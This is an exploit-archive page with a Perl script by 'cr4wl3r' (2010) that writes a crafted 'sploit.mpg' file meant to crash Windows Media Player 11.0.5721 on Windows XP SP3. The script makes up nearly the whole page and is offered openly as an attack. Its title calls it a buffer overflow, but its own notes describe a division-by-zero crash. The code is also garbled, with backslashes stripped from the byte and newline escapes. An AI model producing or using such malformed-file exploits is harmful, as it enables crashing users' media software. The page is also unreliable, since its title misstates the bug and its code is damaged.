Windows Media Player 11.0.5721.5145 (.mpg) Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Windows Media Player 11.0.5721.5145 (.mpg) Buffer Overflow Exploit
# Published : 2010-02-22
# Author : cr4wl3r
# Previous Title : Multiple Adobe Products XML External Entity And XML Injection Vulnerabilities
# Next Title : Winamp 5.57 (Browser) IE Denial of Service Exploit

#!/usr/bin/perl


# Windows Media Player 11.0.5721.5145 (.mpg) Buffer Overflow Exploit
# Homepage: www.microsoft.com
# Exploit Coded by: cr4wl3r <cr4wl3rx40linuxmailx2Eorg>
# From: Indonesia
#
####################################################
# Testing Results:
####################################################
# Bug: Integer Division By Zero
# Platform: Windows XP SP3 ENG
# Tested versions:
# 1. Windows Media Player 9         = crash
# 2. Windows Media Player 11.0.5721 = crash
# 3. Windows Media Player 11.0.6    = No crash
####################################################
#
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# WARNING - WARNING - WARNING - WARNING
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
#
# Disclaimer: The author published the information under the condition
#             that is not in the intention of the reader to use them in order to bring
#             to himself or others a profit or to bring to others damage.
#
#
# Gr33tz: No Thanks



print "
[+]---------------------------------------------------------------------[+]
[+] Windows Media Player 11.0.5721.5145 (.mpg) Buffer Overflow Exploit  [+]
[+] By : cr4wl3r                                                        [+]
[+]---------------------------------------------------------------------[+]
";


$buff = "x4Dx54x68x64x00x00x00x06x00x00x00x00x00x00";

open(file, "> sploit.mpg");
print (file $buff);
print "nn[+] Done...!!!n
[+] Open with Windows Media Playern
[+] Coded by cr4wl3rn";